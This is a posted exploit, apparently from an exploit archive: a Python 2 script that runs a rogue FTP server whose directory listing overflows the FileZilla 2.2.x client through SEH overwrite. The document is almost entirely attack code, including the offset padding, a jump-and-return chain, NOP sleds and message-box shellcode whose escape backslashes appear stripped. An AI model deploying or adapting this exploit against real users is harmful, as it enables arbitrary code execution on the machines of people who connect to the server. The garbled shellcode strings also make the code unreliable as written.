FileZilla Client 2.2.x SEH Buffer Overflow
Posted on 09 August 2015
# Exploit Title: Filezilla client 2.2.X SEH buffer overflow exploit # Date: 02/08/2015 # Exploit Author: ly0n # Vendor Homepage: filezilla-project.org/ # Software Link: http://www.oldapps.com/filezilla.php?app=7cdf14e88e9dfa85fb661c1c6e649e90 # Version: tested on filezilla 2.2.21 # Tested on: Windows XP sp3 english #!/usr/bin/env python2 # coding: utf-8 import os,socket,threading,time #import traceback # visit: ly0n.me # greetz: NBS #MSGBOX "BrokenByte" msgbox = ("x68x6ex33x72x00x68x75x74" "x69x30x68x5ex58x65x63x89" "xe3x68x20x20x20x00x68x68" "x65x72x65x68x77x61x73x20" "x68x6ex33x72x20x68x75x74" "x69x30x68x5ex58x65x63x89" "xe1x31xc0x50x53x51x50x50" "xbexeax07x45x7exffxe6x31" "xc0x50xb8x12xcbx81x7cxff" "xe0") nops = "x90" * 100 #77EA9CAC POP POP RET kernel32.dll <- seh #EB069090 SHORT JUMP 6 POS + 2 NOPS <- nseh nseh = "xebx06x90x90" seh = "xACx9CxEAx77" allow_delete = False local_ip = "192.168.11.6" #SERVER LOCAL IP local_port = 21 #DESIRED PORT buffer1 = "x41" * 1896 + nseh + seh + nops + msgbox + nops buffer = buffer1 + ".txt" currdir=os.path.abspath('.') class FTPserverThread(threading.Thread): def __init__(self,(conn,addr)): self.conn=conn self.addr=addr self.basewd=currdir self.cwd=self.basewd self.rest=False self.pasv_mode=False threading.Thread.__init__(self) def run(self): self.conn.send('220 Welcome! ') while True: cmd=self.conn.recv(256) if not cmd: break else: print 'Recieved:',cmd try: func=getattr(self,cmd[:4].strip().upper()) func(cmd) except Exception,e: print 'ERROR:',e #traceback.print_exc() self.conn.send('500 Sorry. ') def SYST(self,cmd): self.conn.send('215 UNIX Type: L8 ') def OPTS(self,cmd): if cmd[5:-2].upper()=='UTF8 ON': self.conn.send('200 OK. ') else: self.conn.send('451 Sorry. ') def USER(self,cmd): self.conn.send('331 OK. ') def PASS(self,cmd): self.conn.send('230 OK. ') #self.conn.send('530 Incorrect. ') def QUIT(self,cmd): self.conn.send('221 Goodbye. ') def NOOP(self,cmd): self.conn.send('200 OK. ') def TYPE(self,cmd): self.mode=cmd[5] self.conn.send('200 Binary mode. ') def CDUP(self,cmd): if not os.path.samefile(self.cwd,self.basewd): #learn from stackoverflow self.cwd=os.path.abspath(os.path.join(self.cwd,'..')) self.conn.send('200 OK. ') def PWD(self,cmd): cwd=os.path.relpath(self.cwd,self.basewd) if cwd=='.': cwd='/' else: cwd='/'+cwd self.conn.send('257 "%s" ' % cwd) def CWD(self,cmd): chwd=cmd[4:-2] if chwd=='/': self.cwd=self.basewd elif chwd[0]=='/': self.cwd=os.path.join(self.basewd,chwd[1:]) else: self.cwd=os.path.join(self.cwd,chwd) self.conn.send('250 OK. ') def PORT(self,cmd): if self.pasv_mode: self.servsock.close() self.pasv_mode = False l=cmd[5:].split(',') self.dataAddr='.'.join(l[:4]) self.dataPort=(int(l[4])<<8)+int(l[5]) self.conn.send('200 Get port. ') def PASV(self,cmd): # from http://goo.gl/3if2U self.pasv_mode = True self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) self.servsock.bind((local_ip,0)) self.servsock.listen(1) ip, port = self.servsock.getsockname() print 'open', ip, port self.conn.send('227 Entering Passive Mode (%s,%u,%u). ' % (','.join(ip.split('.')), port>>8&0xFF, port&0xFF)) def start_datasock(self): if self.pasv_mode: self.datasock, addr = self.servsock.accept() print 'connect:', addr else: self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) self.datasock.connect((self.dataAddr,self.dataPort)) def stop_datasock(self): self.datasock.close() if self.pasv_mode: self.servsock.close() def LIST(self,cmd): self.conn.send('150 Here comes the directory listing. ') print 'list:', self.cwd self.start_datasock() dirlist = "drwxrwxrwx 1 100 0 11111 Jun 11 21:10" +buffer1+" " dirlist += "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 "+buffer+" " self.datasock.send("total 2 "+dirlist) self.stop_datasock() self.conn.send('226 Directory send OK. ') def toListItem(self,fn): st=os.stat(fn) fullmode='rwxrwxrwx' mode='' for i in range(9): mode+=((st.st_mode>>(8-i))&1) and fullmode[i] or '-' d=(os.path.isdir(fn)) and 'd' or '-' ftime=time.strftime(' %b %d %H:%M ', time.gmtime(st.st_mtime)) return d+mode+' 1 user group '+str(st.st_size)+ftime+os.path.basename(fn) def MKD(self,cmd): dn=os.path.join(self.cwd,cmd[4:-2]) os.mkdir(dn) self.conn.send('257 Directory created. ') def RMD(self,cmd): dn=os.path.join(self.cwd,cmd[4:-2]) if allow_delete: os.rmdir(dn) self.conn.send('250 Directory deleted. ') else: self.conn.send('450 Not allowed. ') def DELE(self,cmd): fn=os.path.join(self.cwd,cmd[5:-2]) if allow_delete: os.remove(fn) self.conn.send('250 File deleted. ') else: self.conn.send('450 Not allowed. ') def RNFR(self,cmd): self.rnfn=os.path.join(self.cwd,cmd[5:-2]) self.conn.send('350 Ready. ') def RNTO(self,cmd): fn=os.path.join(self.cwd,cmd[5:-2]) os.rename(self.rnfn,fn) self.conn.send('250 File renamed. ') def REST(self,cmd): self.pos=int(cmd[5:-2]) self.rest=True self.conn.send('250 File position reseted. ') def RETR(self,cmd): fn=os.path.join(self.cwd,cmd[5:-2]) #fn=os.path.join(self.cwd,cmd[5:-2]).lstrip('/') print 'Downlowding:',fn if self.mode=='I': fi=open(fn,'rb') else: fi=open(fn,'r') self.conn.send('150 Opening data connection. ') if self.rest: fi.seek(self.pos) self.rest=False data= fi.read(1024) self.start_datasock() while data: self.datasock.send(data) data=fi.read(1024) fi.close() self.stop_datasock() self.conn.send('226 Transfer complete. ') def STOR(self,cmd): fn=os.path.join(self.cwd,cmd[5:-2]) print 'Uplaoding:',fn if self.mode=='I': fo=open(fn,'wb') else: fo=open(fn,'w') self.conn.send('150 Opening data connection. ') self.start_datasock() while True: data=self.datasock.recv(1024) if not data: break fo.write(data) fo.close() self.stop_datasock() self.conn.send('226 Transfer complete. ') class FTPserver(threading.Thread): def __init__(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.bind((local_ip,local_port)) threading.Thread.__init__(self) def run(self): self.sock.listen(5) while True: th=FTPserverThread(self.sock.accept()) th.daemon=True th.start() def stop(self): self.sock.close() if __name__=='__main__': ftp=FTPserver() ftp.daemon=True ftp.start() print 'On', local_ip, ':', local_port raw_input('Enter to end... ') ftp.stop()